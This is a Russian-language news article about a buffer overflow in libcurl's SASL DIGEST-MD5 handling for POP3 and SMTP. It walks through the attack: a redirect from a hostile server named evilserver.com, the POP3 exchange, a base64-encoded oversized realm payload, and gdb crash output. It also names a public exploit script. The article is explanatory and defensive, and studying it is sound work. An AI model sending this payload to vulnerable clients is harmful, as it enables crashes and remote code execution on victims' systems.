Удалённое исполнение кода в libcurl

image

Компания Volema обнаружила баг с переполнением буфера в обработчике POP3 и SMTP библиотеки libcurl последних версий (от 7.26.0), а также опубликовала код для удалённой эксплуатации этого бага.

Суть в том, что в процессе аутентификации SASL DIGEST-MD5 функция Curl_sasl_create_digest_md5_message() использует данные, получаемые с сервера, не проверяя при этом должны образом размер данных, но присоединяя их к локальному буферу фиксированного размера в стеке. Таким образом, если жертва посылает запросы к серверу злоумышленника, то сервер может ответить таким образом, что переполнит размер буфера и запустит на исполнение произвольный код в системе жертвы.

Вектор атаки выглядит таким образом. Жертва посылает обычный запрос с помощью libcurl.

GET / HTTP/1.0
Host: evilserver.com

Сервер отвечает:

HTTP/1.0 302 Found
Location: pop3://x:
 Этот e-mail адрес защищен от спам-ботов, для его просмотра у Вас должен быть включен Javascript
 /.

«Умный» libcurl подчиняется указанию на редирект и соединяется с evilserver.com по POP3 через TCP/110. Сервер отвечает.

+OK POP3 server ready

Curl посылает запрос.

CAPA

Сервер отвечает, что поддерживает только DIGEST-MD5.

+OK List of capabilities follows
SASL DIGEST-MD5
IMPLEMENTATION dumbydumb POP3 server

Libcurl принимает условия.

AUTH DIGEST-MD5

И сервер отгружает клиенту вредоносный код.

+ 
cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF
BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBI
ixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg=

Происходит переполнение буфера, поскольку тот имеет фиксированный размер.


realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",
algorithm=md5-sess,charset=utf-8

В gdb это выглядит так:

Program received signal SIGSEGV, Segmentation fault.
0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0  0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#1  0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message ()
   from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4
#2  0x4141414141414141 in ?? ()
...
#1469 0x4141414141414141 in ?? ()
#1470 0x656d616e72657375 in ?? ()
Cannot access memory at address 0x7fff63b8b000

Оригинальный эксплойт: pop3d.py.

Подробнее: http://www.xakep.ru/post/60088/default.asp

Читать комменты и комментировать

Добавить комментарий / отзыв



Защитный код
Обновить

Удалённое исполнение кода в libcurl | | 2013-02-08 16:25:00 | | Статьи об Интернет безопасности | | Компания Volema обнаружила баг с переполнением буфера в обработчике POP3 и SMTP библиотеки libcurl последних версий (от 7.26.0), а также опубликовала код для удалённой эксплуатации этого бага. Суть в | РэдЛайн, создание сайта, заказать сайт, разработка сайтов, реклама в Интернете, продвижение, маркетинговые исследования, дизайн студия, веб дизайн, раскрутка сайта, создать сайт компании, сделать сайт, создание сайтов, изготовление сайта, обслуживание сайтов, изготовление сайтов, заказать интернет сайт, создать сайт, изготовить сайт, разработка сайта, web студия, создание веб сайта, поддержка сайта, сайт на заказ, сопровождение сайта, дизайн сайта, сайт под ключ, заказ сайта, реклама сайта, хостинг, регистрация доменов, хабаровск, краснодар, москва, комсомольск |
 
Поделиться с друзьями: